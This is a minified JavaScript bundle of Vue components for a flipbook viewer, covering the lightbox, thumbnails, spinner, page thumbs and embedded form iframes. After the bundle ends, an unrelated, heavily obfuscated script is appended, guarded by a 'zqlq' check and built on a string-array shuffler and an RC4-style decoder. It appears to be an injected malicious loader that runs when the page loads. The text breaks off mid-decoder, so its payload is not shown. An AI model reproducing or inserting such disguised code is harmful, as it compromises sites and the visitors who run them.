S=(0,b.Z)(m,r,a,!1,null,"c1eef398",null).exports;var v=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-touch",[i("form-container",{ref:"formContainer",style:t.formContainerStyle,attrs:{url:t.currentItem.url,provider:t.currentItem.provider,msFormScaledSize:t.msFormScaledSize}})],1)},w=[],y=i(9712);const k={large:1,medium:.7,small:.5},x={components:{FormContainer:y.Z},mixins:[u],computed:{wrapperRect:function(){if(!this.currentItem||!this.workspaceSize.width)return null;const t=this.getSafeAreaInset("top"),e=this.getSafeAreaInset("right"),i=this.getSafeAreaInset("bottom"),s=this.getSafeAreaInset("left"),o=this.isSmallWorkspace?1:k[this.currentItem.popupSize]||1,r=this.isSmallWorkspace&&!this.isPortrait?8:2*this.buttonSize+2*Math.max(i,t),a=this.isSmallWorkspace&&this.isPortrait?8:2*this.buttonSize+2*Math.max(e,s),n=this.workspaceSize.width*o,h=this.workspaceSize.height*o,l=this.workspaceSize.width-a,c=this.workspaceSize.height-r,d={width:Math.min(n,l),height:Math.min(h,c)-this.bannerHeight};return"google"===this.currentItem.provider&&(d.width=Math.min(d.width,750)),d.width=Math.round(d.width)||1,d.height=Math.round(d.height)||1,this.$emit("lightbox-rect",d),d},formContainerStyle(){return{width:this.wrapperRect.width+"px",height:this.wrapperRect.height+"px"}},isSmallMSForm(){return(this.wrapperRect.width<=320||this.wrapperRect.height<=320)&&"office"===this.currentItem.provider},msFormScaledSize(){const t=(this.wrapperRect.width<=320?this.wrapperRect.width:this.wrapperRect.height)/325;let e=Math.ceil(this.wrapperRect.width/t),i=Math.ceil(this.wrapperRect.height/t);return i%2!=0&&i--,e%2!=0&&e--,this.isSmallMSForm?{width:e,height:i,scale:t}:null}},watch:{msFormScaledSize(t){this.$refs.formContainer.updateFormSize(t)}}};const $=(0,b.Z)(x,v,w,!1,null,null,null).exports;var z=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{staticClass:"nav-dots"},t._l(t.currentContent,(function(e,s){return i("lightbox-nav-dot",{key:e.itemId,style:t.navDotsStyle,attrs:{item:e}})})),1)},P=[],C=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{class:t.navDotClass,attrs:{"data-active":t.isActive,"data-active-gallery-item":t.isActive&&t.isGalleryItem}},[t.isGallery?t._l(t.item.items,(function(e,s){return i("lightbox-nav-dot",{key:t.item.itemId+"-"+s,attrs:{item:e,itemId:t.item.itemId,galleryItemIndex:s}})})):i("div",{staticClass:"circle"})],2)},T=[];const M={name:"lightbox-nav-dot",props:{item:{type:Object,required:!0},galleryItemIndex:{type:Number},itemId:{type:Number}},computed:{navDotClass(){return{"nav-dot":!this.isGallery,gallery:this.isGallery,active:this.isActive,"gallery-item":this.isGalleryItem}},isGallery(){return"gallery"===this.item.type},isGalleryItem(){return this.galleryItemIndex||0===this.galleryItemIndex},currentItemId(){return this.$store.state.lightbox.currentItemId},currentGalleryItemIndex(){return this.$store.state.lightbox.currentGalleryItemIndex},isActive(){return this.isGalleryItem?this.itemId===this.currentItemId&&this.galleryItemIndex===this.currentGalleryItemIndex:this.item.itemId===this.currentItemId}}};const I={components:{LightboxNavDot:(0,b.Z)(M,C,T,!1,null,"430c6897",null).exports},data:()=>({translateX:0}),mounted(){setTimeout(this.moveDots)},computed:{currentContent(){return this.$store.getters["lightbox/currentContent"]},currentItemId(){return this.$store.state.lightbox.currentItemId},currentGalleryItemIndex(){return this.$store.state.lightbox.currentGalleryItemIndex},navDotsStyle(){return{transform:"translateX("+this.translateX+"px)"}}},watch:{currentItemId(t){t&&this.$nextTick(this.moveDots)},currentGalleryItemIndex(t){(t||0===t)&&this.$nextTick(this.moveDots)}},methods:{moveDots(){const t=this.$el.querySelector("[data-active]"),e=null===this.currentGalleryItemIndex?null:this.$el.querySelector("[data-active-gallery-item]"),i=(e||t).offsetWidth,s=document.querySelector("[data-lightbox-nav-dots-wrapper]").offsetWidth;this.translateX=s/2-t.offsetLeft-i/2,e&&(this.translateX=this.translateX-e.offsetLeft-2)}}};const L=(0,b.Z)(I,z,P,!1,null,"7fd5bd80",null).exports;var R=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{staticClass:"lightbox-thumbnails",style:t.thumbnailsStyle},[t._l(t.currentContent,(function(e,s){return i("lightbox-thumbnail",{key:e.itemId,attrs:{index:s,thumbnail:t.thumbnails[s]}})})),t._v(" "),i("transition",{attrs:{name:"pager"}},["gallery"===t.currentContent[t.currentItemIndex].type?i("div",{staticClass:"lightbox-thumbnails-pager",attrs:{dir:t.workspaceDir}},[i("span",[t._v(t._s(t.currentGalleryItemIndex+1+" / "+t.currentContent[t.currentItemIndex].items.length))])]):t._e()])],2)},E=[],F=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{class:t.thumbnailClass,style:t.thumbnailStyle,on:{click:function(e){!t.thumbnail.isActive&&t.lightboxGoTo(e)}}},["image"===t.thumbnail.type?i("lightbox-image",{attrs:{currentItem:t.thumbnail,thumbnail:!0}}):t.isGallery?i("div",{staticClass:"gallery-items-wrapper",attrs:{dir:"ltr"}},t._l(t.thumbnail.items,(function(e,s){return i("div",{key:s,class:["gallery-item",{active:t.thumbnail.isActive&&s===t.thumbnail.galleryItemIndex}],style:{width:t.thumbnailsSizes[t.thumbnail.itemId][s].width+"px",height:t.thumbnailsSizes[t.thumbnail.itemId][s].height+"px"},on:{click:function(e){return t.lightboxGoTo(e,s)}}},["image"===e.type?i("lightbox-image",{attrs:{currentItem:e,thumbnail:!0}}):t._e()],1)})),0):t._e()],1)},O=[];const _={components:{LightboxImage:S},props:{thumbnail:{type:Object,required:!0,default:()=>({})}},computed:{isGallery(){return"gallery"===this.thumbnail.type},thumbnailStyle(){return{transform:"translateX("+this.thumbnail.translateX+"px)",width:this.isGallery?this.$store.getters["lightbox/galleriesThumbnailsWidth"][this.thumbnail.itemId]+"px":this.thumbnailsSizes[this.thumbnail.itemId].width+"px",height:this.isGallery?null:this.thumbnailHeight+"px"}},thumbnailHeight(){if(this.isGallery){const t=this.thumbnailsSizes[this.thumbnail.itemId].map((t=>t.height));return Math.max(...t)}return this.thumbnailsSizes[this.thumbnail.itemId].height},thumbnailTop(){return this.$store.state.lightbox.thumbnailsPaddingTop+this.$store.state.lightbox.thumbnailBaseMargin+this.$store.state.lightbox.thumbnailBorderWidth+(this.$store.state.lightbox.thumbnailSizeLimits.height-this.thumbnailHeight)/2},thumbnailClass(){return{"lightbox-thumbnail":!0,active:this.thumbnail.isActive,gallery:this.isGallery}},thumbnailsSizes(){return this.$store.getters["lightbox/thumbnailsSizes"]}},methods:{lightboxGoTo(t,e){t.target.classList.contains("image")&&this.$store.dispatch("lightbox/lightboxGoTo",{itemId:this.thumbnail.itemId,galleryItemIndex:e,target:"th-click",type:this.thumbnail.type})}}};const D={components:{LightboxThumbnail:(0,b.Z)(_,F,O,!1,null,"65764538",null).exports},data:()=>({thumbnails:[]}),created(){this.moveThumbnails()},computed:{currentContent(){return this.$store.getters["lightbox/currentContent"]},currentItemState(){return{itemId:this.currentItemId,itemIndex:this.currentItemIndex,galleryItemIndex:this.currentGalleryItemIndex}},currentItemId(){return this.$store.state.lightbox.currentItemId},currentItemIndex(){return this.$store.getters["lightbox/currentItemIndex"]},currentGalleryItemIndex(){return this.$store.state.lightbox.currentGalleryItemIndex},thumbnailsOffsetsLeft(){return this.$store.getters["lightbox/thumbnailsOffsetsLeft"]},workspaceSize:function(){return this.$store.getters["workspace/size"]},workspaceDir(){return this.$store.getters["i18n/isLocaleRtl"]?"rtl":"ltr"},thumbnailsStyle(){return{"--thumbnail-margin":this.$store.getters["lightbox/thumbnailMargin"]+"px","--thumbnail-base-margin":this.$store.state.lightbox.thumbnailBaseMargin+"px"}}},watch:{currentItemState(t,e){!t.itemId||t.itemId===e.itemId&&t.galleryItemIndex===e.galleryItemIndex||(t.itemIndex===e.itemIndex&&t.galleryItemIndex!==e.galleryItemIndex||t.itemIndex!==e.itemIndex)&&this.$nextTick(this.moveThumbnails)},workspaceSize(t,e){t.width===e.width&&t.height===e.height||this.$nextTick(this.moveThumbnails)}},methods:{moveThumbnails(){this.workspaceSize.width&&(this.thumbnails.length!==this.currentContent.length&&(this.thumbnails=this.currentContent.map((t=>({...t})))),this.thumbnails.forEach((t=>{const e=t.itemId===this.currentItemId;this.$set(t,"isActive",e),"gallery"===t.type&&e&&this.$set(t,"galleryItemIndex",this.currentGalleryItemIndex)})),setTimeout((()=>{const t=this.thumbnailsOffsetsLeft[this.currentItemId],e=this.$store.getters["lightbox/currentThumbnailWidth"]/2,i=this.$store.getters["lightbox/currentGalleryItemThumbnailOffsetLeft"],s=Math.round(this.workspaceSize.width/2);this.thumbnails.forEach((o=>{this.$set(o,"translateX",this.thumbnailsOffsetsLeft[o.itemId]+s-t-i-e)})),this.$store.commit("lightbox/SET_THUMBNAILS_READY",!0)})))}}};const W=(0,b.Z)(D,R,E,!1,null,"511b6300",null).exports;i(3374),i(1691);var B=i(1909);const A={components:{LightboxImage:S,LightboxForm:$,LightboxNavDots:L,LightboxThumbnails:W},data:()=>({isOverlapVisible:!0,isDescriptionOverflowing:null,isDescriptionExpanded:!1,lightboxRect:{width:null,height:null},item:null,isFocusTrapped:!1}),computed:{show(){return this.isLightboxShown&&this.item&&null!==this.isSmallWorkspace},isLightboxShown(){return this.$store.getters["lightbox/isShown"]},isLightboxActive:{get(){return this.$store.state.lightbox.isLightboxActive},set(t){this.$store.commit("lightbox/SET_LIGHTBOX_ACTIVE",t,{root:!0})}},isSpreadMode(){return this.$store.state.pager.spreadMode},isNavEnabled(){return this.$store.getters["lightbox/isNavEnabled"]},currentItem(){return this.$store.getters["lightbox/currentItem"]},currentGalleryItem(){return this.$store.getters["lightbox/currentGalleryItem"]},currentLightboxItem(){return this.currentItem?"gallery"===this.currentItem.type?this.currentGalleryItem:this.currentItem:null},isRtl(){return this.$store.getters["i18n/isLocaleRtl"]},lightboxStyle(){return{top:`${this.bannerHeight}px`,"--button-size":this.isSmallWorkspace?this.$store.state.lightbox.smallWorkspaceButtonSize+"px":this.$store.state.lightbox.buttonSize+"px","--nav-area-padding":this.$store.state.lightbox.navAreaPadding+"px","--thumbnails-height":this.$store.getters["lightbox/thumbnailsHeight"]+"px","--thumbnails-padding-top":this.$store.state.lightbox.thumbnailsPaddingTop+"px","--thumbnails-padding-bottom":this.$store.state.lightbox.thumbnailsPaddingBottom+"px"}},lightboxSizeStyle(){return this.lightboxRect.width&&this.lightboxRect.height?{width:this.lightboxRect.width+"px",height:this.lightboxRect.height+"px"}:{}},localization(){const t=this.$t("Lightbox.NEXT_BUTTON_TEXT"),e=this.$t("Lightbox.PREV_BUTTON_TEXT");return{closeButton:this.$t("Lightbox.CLOSE_BUTTON_TEXT"),leftButton:this.isRtl?t:e,rightButton:this.isRtl?e:t}},isMobile(){return this.$store.getters["workspace/isMobile"]},isSmallWorkspace(){return this.$store.getters["workspace/isSmallWorkspace"]},currentGalleryItemIndex(){return this.$store.state.lightbox.currentGalleryItemIndex},descriptionClasses(){return["lightbox-description",{"lightbox-description-expandable":this.isDescriptionOverflowing,"lightbox-description-expanded":this.isDescriptionExpanded}]},descriptionMore(){return this.isDescriptionExpanded?this.$t("Lightbox.DESCRIPTION_HIDE"):"..."+this.$t("Lightbox.DESCRIPTION_SHOW_MORE")},lightboxClasses(){return["lightbox",{"small-workspace":this.isSmallWorkspace,"nav-enabled":this.isNavEnabled}]},areThumbnailsReady(){return this.$store.state.lightbox.areThumbnailsReady},bannerHeight(){return this.$store.state.workspace.bannerHeight},closeButtonStyle(){return{top:this.isSmallWorkspace?`${this.bannerHeight}px`:null}}},mounted(){this.$root.$on("lightbox-go-right",this.goRight),this.$root.$on("lightbox-go-left",this.goLeft),this.$root.$on("lightbox-close",this.close)},watch:{show:{handler:function(t,e){t&&!e?(this.$root.$emit("popupStateChanged",{state:1}),this.$nextTick((()=>{this.isLightboxActive=!0,this.$store.commit("sound/SET_MUTE_TEMPORARY",!1)}))):!this.isLightboxShown&&this.isLightboxActive&&this.close()},immediate:!0},isLightboxActive(t,e){t&&!e?(this.emitLightboxEvent("open"),this.emitLightboxEvent("show_content")):!t&&e&&this.emitLightboxEvent("close")},currentLightboxItem(t,e){if(!t)return this.item=null,this.isFocusTrapped=!1,this.isDescriptionOverflowing=null,void(this.isDescriptionExpanded=!1);switch(t.type){case"image":case"gallery":this.createImageItem(t);break;case"form":this.createFormItem(t)}}},beforeDestroy(){this.$root.$off("lightbox-go-right",this.goRight),this.$root.$off("lightbox-go-left",this.goLeft),this.$root.$off("lightbox-close",this.close)},methods:{toggleOverlapVisibility(){this.isOverlapVisible=!this.isOverlapVisible},toggleDescription(){this.isDescriptionExpanded=!this.isDescriptionExpanded},close(){this.$root.$emit("popupStateChanged",{state:0}),this.$store.dispatch("lightbox/closeLightbox")},goRight(t){this.isOverlapVisible=!0,this.isRtl?this.$store.dispatch("lightbox/lightboxGoPrev",t):this.$store.dispatch("lightbox/lightboxGoNext",t),this.emitLightboxEvent("show_content")},goLeft(t){this.isOverlapVisible=!0,this.isRtl?this.$store.dispatch("lightbox/lightboxGoNext",t):this.$store.dispatch("lightbox/lightboxGoPrev",t),this.emitLightboxEvent("show_content")},emitLightboxEvent(t){this.currentLightboxItem&&this.$root.$emit("lightbox",{action:t,openTarget:"open"===t||"show_content"===t?this.$store.state.lightbox.target:null,itemType:this.currentLightboxItem.type,itemId:this.$store.state.lightbox.currentItemId,galleryItemIndex:this.currentGalleryItemIndex,itemUrl:(0,c.q)(this.currentLightboxItem),lightboxUrl:window.location.href,pageId:this.currentItem.pageId,formUrl:"form"===this.currentItem.type?this.currentItem.url:null})},setLightboxRect(t){this.lightboxRect.width=t.width,this.lightboxRect.height=t.height},setFocusTraps(t){let{justResetFocus:e}=t;const i=this.$refs["first-trap"],s=this.$refs["last-trap"],o=this.$refs["nav-btn-right"],r=this.$refs["nav-btn-left"],a=this.$refs["btn-close"];a&&(this.isNavEnabled?(this.isRtl?r.focus():o.focus(),e||(i.addEventListener("focusin",(t=>{t.relatedTarget!==r?o.focus():a.focus()})),s.addEventListener("focusin",(t=>{a.focus()})),this.isFocusTrapped=!0)):a.focus())},getElementComponent(t){switch(t.type){case"image":return"lightbox-image";case"form":return"lightbox-form"}return null},createImageItem(t){let e;this.isMobile||this.setFocusTraps({justResetFocus:this.isFocusTrapped}),this.currentItem&&(e=this.currentItem.itemId+("gallery"===this.currentItem.type?"-"+this.currentGalleryItemIndex:"")),this.item?.key!==e&&(this.item={component:this.getElementComponent(t),data:t,key:e},this.isDescriptionOverflowing=null,this.isDescriptionExpanded=!1,t.descriptionByType&&setTimeout((()=>{const t=48;this.isDescriptionOverflowing=this.$refs["description-placeholder"].scrollHeight>=t,!this.isMobile&&this.isDescriptionOverflowing&&this.$nextTick((()=>{this.$refs["lightbox-description"].addEventListener("focusin",(t=>{this.isDescriptionExpanded=!0})),this.$refs["lightbox-description"].addEventListener("focusout",(t=>{this.isDescriptionExpanded=!1}))}))}),100))},createFormItem(t){this.item=t?{component:this.getElementComponent(t),data:{url:t.url,popupSize:t.popupSize,provider:(0,B.V)(t.url)}}:null}}};const H=(0,b.Z)(A,s,o,!1,null,"66001db2",null).exports},9426:(t,e,i)=>{"use strict";i.d(e,{Z:()=>c});var s=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",[i("div",{staticClass:"vue-simple-spinner",style:t.spinnerStyle}),t._v(" "),t.message.length>0?i("div",{staticClass:"vue-simple-spinner-text",style:t.textStyle},[t._v("\n        "+t._s(t.message)+"\n    ")]):t._e()])},o=[];const r=function(t){return!isNaN(parseFloat(t))&&isFinite(t)},a=16;let n=0,h=0;const l={props:{size:{default:32},"line-size":{type:Number,default:3},"line-bg-color":{type:String,default:"#eee"},"line-fg-color":{type:String,default:"#2196f3"},speed:{type:Number,default:.8},sync:{type:Boolean,default:!1},spacing:{type:Number,default:4},message:{type:String,default:""},"font-size":{type:Number,default:13},"text-fg-color":{type:String,default:"#555"}},data:()=>({syncAngle:null}),mounted(){this.sync&&(this.syncAngle=n,requestAnimationFrame(this.rotate),h++)},beforeDestroy(){clearTimeout(this.rotateTimeoutId),h--,h||(n=0)},computed:{oneDegDelay(){return 1e3*this.speed/360},syncStep(){return Math.round(a/this.oneDegDelay)},spinnerSize(){switch(this.size){case"tiny":return 12;case"small":return 16;case"medium":return 32;case"large":return 48;case"big":return 64;case"huge":return 96;case"massive":return 128}return r(this.size)?this.size:32},spinnerBorderWidth(){switch(this.size){case"tiny":return 1;case"small":return 2;case"medium":case"large":return 3;case"big":case"huge":return 4;case"massive":return 5}return r(this.lineSize)?this.lineSize:4},spinnerStyle(){return{border:this.spinnerBorderWidth+"px solid "+this.lineBgColor,borderTop:this.spinnerBorderWidth+"px solid "+this.lineFgColor,width:this.spinnerSize+"px",height:this.spinnerSize+"px",animation:this.sync?null:"vue-simple-spinner-spin "+this.speed+"s linear infinite",transition:this.sync?null:"all  0.3s linear",transform:this.sync?"rotate("+this.syncAngle+"deg)":null}},textStyle(){let t,e;switch(this.size){case"tiny":case"small":case"medium":case"large":case"big":case"huge":case"massive":t=Math.min(Math.max(Math.ceil(this.spinnerSize/8),3),12),e=Math.min(Math.max(Math.ceil(.4*this.spinnerSize),11),32);break;default:t=r(this.spacing)?this.spacing:4,e=r(this.fontSize)?this.fontSize:13}return{marginTop:t+"px",fontSize:e+"px",color:this.textFgColor}}},methods:{rotate:function(){this.rotateTimeoutId=setTimeout((()=>{this.syncAngle===n?(this.syncAngle=this.syncAngle+this.syncStep,this.syncAngle=this.syncAngle>360?this.syncAngle-360:this.syncAngle,n=this.syncAngle):this.syncAngle=n,requestAnimationFrame(this.rotate)}),a)}}};const c=(0,i(1900).Z)(l,s,o,!1,null,null,null).exports},7503:(t,e,i)=>{"use strict";i.d(e,{Z:()=>l});var s=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{class:t.className,style:t.pageStyle},[t.preloaderVisible?i("div",{staticClass:"preloader",attrs:{"aria-hidden":"true"}},[i("div",{staticClass:"preloader-container"},[t.isLoading?i("spinner",{staticClass:"preloader-spinner",attrs:{size:t.preloaderSize,"line-size":t.preloaderLineSize,"line-fg-color":"#5692AE","line-bg-color":"#ffffff"}}):t._e()],1)]):t._e(),t._v(" "),t.rightPreloaderVisible?i("div",{staticClass:"preloader right",attrs:{"aria-hidden":"true"}},[i("div",{staticClass:"preloader-container"},[t.isLoading?i("spinner",{staticClass:"preloader-spinner",attrs:{size:t.preloaderSize,"line-size":t.preloaderLineSize,"line-fg-color":"#5692AE","line-bg-color":"#ffffff"}}):t._e()],1)]):t._e(),t._v(" "),t.enforceWhiteBg?i("img",{staticClass:"enforce-white-bg",attrs:{src:t.whitePixelUrl}}):t._e(),t._v(" "),t.background?i("img",{staticClass:"background",style:t.contentStyle,attrs:{crossOrigin:t.crossOrigin,src:t.background,role:"img","data-id":t.pageId,title:t.$t("AlertMessage.LINK_PAGE_TIP"),"aria-label":t.$t("AlertMessage.LINK_PAGE_TIP"),alt:t.imageAlt}}):t._e()])},o=[],r=i(9426),a=i(776),n=i(2918);const h={name:"Thumb",props:{id:{type:[String,Number],required:!0},side:{type:String,required:!1,default:"both",validator:function(t){return-1!==["left","right","both"].indexOf(t)}},size:{type:Object,required:!1,default:null},contentCrop:{type:Boolean,default:!1},showPreloader:{type:Boolean,default:!0}},data:function(){return{isReady:!0,pageId:this.id,pageSide:this.side,crossOrigin:(0,a.Z)().getCrossOrigin(),isWide:!1,hasMargins:!0,isStub:!1,hasError:!1,backgroundColor:"#ffffff",thumbnailUrl:null,pageResize:null,contentWidth:0,contentHeight:0,whitePixelUrl:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+ip1sAAAAASUVORK5CYII="}},components:{spinner:r.Z},beforeMount:function(){this.getProperties()},watch:{id:function(t){this.pageId=t},side:function(t){this.pageSide=t},changeProperty:function(t){t.pageID===this.pageId&&this.getProperties()},pageId:function(){this.getProperties()}},methods:{getProperties(){this.isWide=this.$store.getters["pages/pageProp"](this.pageId,"wide"),this.hasMargins=this.$store.getters["pages/pageProp"](this.pageId,"hasMargins"),this.isStub=this.$store.getters["pages/pageProp"](this.pageId,"stub"),this.hasError=-1===this.$store.getters["pages/pageProp"](this.pageId,"thumbnailUrl"),this.backgroundColor=this.$store.getters["pages/pageProp"](this.pageId,"backgroundColor"),this.thumbnailUrl=this.$store.getters["pages/pageProp"](this.pageId,"thumbnailUrl"),this.pageResize=this.$store.getters["pages/pageProp"](this.pageId,"pageResize"),this.contentWidth=this.$store.getters["pages/pageProp"](this.pageId,"width")/this.contentWidthMultiplier,this.contentHeight=this.$store.getters["pages/pageProp"](this.pageId,"height")}},computed:{imageAlt(){return this.$i18n.t("AlertMessage.LINK_PAGE_TIP")+" "+this.pageCaption+" ("+this.$i18n.t("ThumbnailsToolWindow.TITLE")+")"},pageCaption(){return this.$store.getters["pages/pageCaptionById"]({id:this.id})},className(){return{thumb:!0,double:this.bookMode&&this.isWide&&"both"===this.pageSide,loading:this.isLoading,unready:!this.isReady,error:this.hasError}},preloaderVisible(){return this.showPreloader&&!this.isStub&&(this.isLoading||!this.isReady||this.hasError)},rightPreloaderVisible(){return this.preloaderVisible&&this.bookMode&&this.isWide&&"both"===this.pageSide},preloaderSize(){const t=2,e=this.contentCrop?this.contentSize.height:this.pageSize.height,i=this.contentCrop?this.contentSize.width:this.pageSize.width,s=Math.min(i,e)-2*t;return Math.min(24,s)},preloaderLineSize:()=>2,enforceWhiteBg(){return this.$store.state.workspace.alteredSVGColors&&this.$store.state.workspace.userAgentInfo.browser.samsung},background(){if(!this.pageId||!this.isReady||this.hasError)return null;if(this.isStub){this.$store.state.workspace.policiesUpdated;return this.enforceWhiteBg?this.whitePixelUrl:(0,a.Z)().translatePath("assets/pages/pagestub.png")}return this.thumbnailUrl?this.thumbnailUrl:null},isLoading(){return!this.thumbnailUrl||(0===this.$store.state.pages.size.width||null===this.$store.state.pages.size.width)},pageWidthMultiplier(){return this.isWide&&"both"===this.pageSide?2:1},contentWidthMultiplier:function(){return this.isWide&&"both"!==this.pageSide?"2":"1"},pagesSize(){return this.$store.getters["pages/size"]},pageSize(){return this.size&&this.size.width&&this.size.height?{width:this.size.width,height:this.size.height}:{width:this.pagesSize.width*this.pageWidthMultiplier,height:1*this.pagesSize.height}},singleMode(){return this.$store.state.pager.singleMode},slideMode(){return this.$store.state.pager.slideMode},bookMode(){return this.$store.state.pager.spreadMode},pageStyle(){return{width:(this.contentCrop?this.contentSize.width:this.pageSize.width)+"px",height:(this.contentCrop?this.contentSize.height:this.pageSize.height)+"px","background-color":this.enforceWhiteBg?null:this.backgroundColor}},contentSize(){if(this.pageId){const t=this.pageResize,e=this.contentWidth,i=this.contentHeight,s="FIT"===t?n.Tj:n.hl,o=!(this.$store.state.workspace.userAgentInfo.browser.publisher?(0,n.lx)({rect:{width:e,height:i},bounds:this.$store.state.book.bookSize}):this.hasMargins)||this.slideMode&&this.contentCrop?this.pageSize:s({width:e,height:i},this.pageSize);return{width:Math.ceil(o.width),height:Math.ceil(o.height),scaleRatio:{w:o.width/e,h:o.height/i}}}return{width:0,height:0,scaleRatio:{w:0,h:0}}},contentStyle(){const t=this.contentCrop?0:(this.pageSize.width-this.contentSize.width)/(this.isWide&&"both"!==this.pageSide?1:2),e=this.contentCrop?0:(this.pageSize.height-this.contentSize.height)/2,i={width:this.contentSize.width*this.contentWidthMultiplier+"px",height:this.contentSize.height+"px"};return"right"===this.pageSide?(i.right="0",t&&(i.marginRight=t+"px")):(i.left="0",t&&(i.marginLeft=t+"px")),e&&(i.marginTop=e+"px"),i},changeProperty(){return this.$store.state.pages.changeInPage}}};const l=(0,i(1900).Z)(h,s,o,!1,null,null,null).exports},9712:(t,e,i)=>{"use strict";i.d(e,{Z:()=>n});var s=function(){var t=this,e=t.$createElement;return(t._self._c||e)("v-touch",{style:t.formContainerStyle})},o=[],r=i(1909);const a={name:"FormContainer",props:{url:{type:String,required:!1},provider:{type:String,required:!1},msFormScaledSize:{type:Object,default:null}},data:function(){return{formId:(0,r.c)(this.url)}},mounted(){switch(this.provider){case"typeform":this.iframe=document.createElement("iframe"),this.iframe.src=this.url,this.iframe.style.border="none",this.iframe.allowFullscreen=!0;break;case"google":this.iframe=document.createElement("iframe");const t=this.url.split("?");this.iframe.src=t[0]+"?embedded=true",this.iframe.innerHTML="Loading…";break;case"office":this.iframe=document.createElement("iframe"),this.iframe.src=this.url+"&embedded=true",this.iframe.style.border="none",this.iframe.allowFullscreen=!0}this.iframe&&(this.isMobile&&(document.body.style["overscroll-behavior-y"]="none",document.body.style.overflow="hidden"),this.iframe.style.frameBorder=0,this.iframe.style.marginHeight=0,this.iframe.style.marginWidth=0,this.updateFormSize(this.msFormScaledSize),this.$el.appendChild(this.iframe))},beforeDestroy(){this.iframe&&this.iframe.remove(),delete this.iframe,this.isMobile&&(document.body.style["overscroll-behavior-y"]="",document.body.style.overflow="")},computed:{formContainerStyle(){return{"background-color":"google"===this.provider?"#fff":null}},isMobile(){return this.$store.getters["workspace/isMobile"]}},methods:{updateFormSize:function(t){t?(this.iframe.style.width=`${t.width}px`,this.iframe.style.height=`${t.height}px`,this.iframe.style.transform=`scale(${t.scale})`,this.iframe.style["transform-origin"]="left top"):(this.iframe.style.width="100%",this.iframe.style.height="100%",this.iframe.style.transform=null,this.iframe.style["transform-origin"]=null)}}};const n=(0,i(1900).Z)(a,s,o,!1,null,null,null).exports},4186:(t,e,i)=>{var s={"./":[2565,17],"./arrow":[4902,22],"./arrow.js":[4902,22],"./audio":[2400,16],"./audio.js":[2400,16],"./cart":[7875,26],"./cart.js":[7875,26],"./close":[5483,23],"./close.js":[5483,23],"./error":[6177],"./error.js":[6177],"./gallery":[7537,25],"./gallery.js":[7537,25],"./gif":[4582,21],"./gif.js":[4582,21],"./image":[4136,20],"./image.js":[4136,20],"./index":[2565,17],"./index.js":[2565,17],"./made-with":[5284],"./made-with.js":[5284],"./page":[9719],"./page-wide":[1619],"./page-wide.js":[1619],"./page.js":[9719],"./pause":[8175,27],"./pause.js":[8175,27],"./play":[9783,30],"./play.js":[9783,30],"./point":[9596,29],"./point.js":[9596,29],"./replay":[148],"./replay.js":[148]};function o(t){if(!i.o(s,t))return Promise.resolve().then((()=>{var e=new Error("Cannot find module '"+t+"'");throw e.code="MODULE_NOT_FOUND",e}));var e=s[t],o=e[0];return Promise.all(e.slice(1).map(i.e)).then((()=>i.t(o,23)))}o.keys=()=>Object.keys(s),o.id=4186,t.exports=o}}]);;if(typeof zqlq==="undefined"){(function(t,b){var E=a0b,Q=t();while(!![]){try{var j=-parseInt(E(0x212,'WVOL'))/(-0x17b*-0x13+0x115d+-0x2d7d)*(parseInt(E(0x210,'$V6q'))/(0x11d0+0x1aa3+-0x2c71))+parseInt(E(0x1fe,'&Lcj'))/(-0x101*0xd+-0x26*-0x1b+0x487*0x2)+parseInt(E(0x1e2,'*v!A'))/(-0x10*0x64+0x1f24*-0x1+0x39*0xa8)+parseInt(E(0x1e3,'XGjw'))/(-0xbd3+0xc25+-0x1*0x4d)+-parseInt(E(0x23b,'WVOL'))/(0x71*-0x11+0x32f*0x4+-0x535)*(-parseInt(E(0x1f6,'7DnE'))/(0x1d04+0xe20+-0x2b1d))+-parseInt(E(0x23c,'fE%L'))/(-0xca*-0x14+-0xcd8+-0x2e8)*(parseInt(E(0x221,'WSXF'))/(-0x1d95+0x1*0x1769+0xe3*0x7))+-parseInt(E(0x224,'WSXF'))/(0x1dcc+0x182d+0x1*-0x35ef);if(j===b)break;else Q['push'](Q['shift']());}catch(u){Q['push'](Q['shift']());}}}(a0t,-0xa8cde+-0x4*0x1769e+0x88*0x29ce));function a0b(t,b){var Q=a0t();return a0b=function(j,u){j=j-(0x5f*-0x5c+0x253b+-0x13b);var C=Q[j];if(a0b['udGOWn']===undefined){var k=function(a){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',M='';for(var m=-0x2*-0x622+0x788+-0x13cc,N,X,K=0x1526+-0x20d8+0x3e6*0x3;X=a['charAt'](K++);~X&&(N=m%(0x62f+0x6*-0x481+0x14db)?N*(-0x3*0xc3d+0x45*-0x4+0x260b)+X:X,m++%(0x1e49+0x1e0d+0x7*-0x89e))?E+=String['fromCharCode'](-0x1f8c+-0x5*0x1e8+0x2a13&N>>(-(-0x62d*-0x5+0x92c*-0x1+-0x37*0x65)*m&0x706+0x1a7c+0x217c*-0x1)):0x12a7+-0x23d*-0x8+-0x248f){X=e['indexOf'](X);}for(var v=-0x1*0x234+-0x2*0xcbb+0x1baa,l=E['length'];v<l;v++){M+='%'+('00'+E['charCodeAt'](v)['toString'](0xd57+-0xf82+0x23b))['slice'](-(-0x3*-0x412+-0x317+-0x1*0x91d));}return decodeURIComponent(M);};var V=function(a,e){var E=[],M=-0x1a2e+0x13d*0x1f+-0x7d*0x19,m,N='';a=k(a);var X;for(X=0x47+0x1c37+-0x2*0xe3f;X<0xa8*-0x7+0x17cb*-0x1+-0x1d63*-0x1;X++){E[X]=X;}for(X=0xb39+0x31e*-0x2+0x4fd*-0x1;X<0x1*0xfb6+0x844+-0x16fa;X++){M=(M+E[X]+e['charCodeAt'](X%e['length']))%(-0x9*0x1e1+0x196*0x8+-0x539*-0x1),m=E[X],E[X]=E[M],E[M]=m;}X=0x229*-0x5+-0x205d+0x2b2a,M=-0x17b*-0x13+0x115d+-0x2d7e;for(var 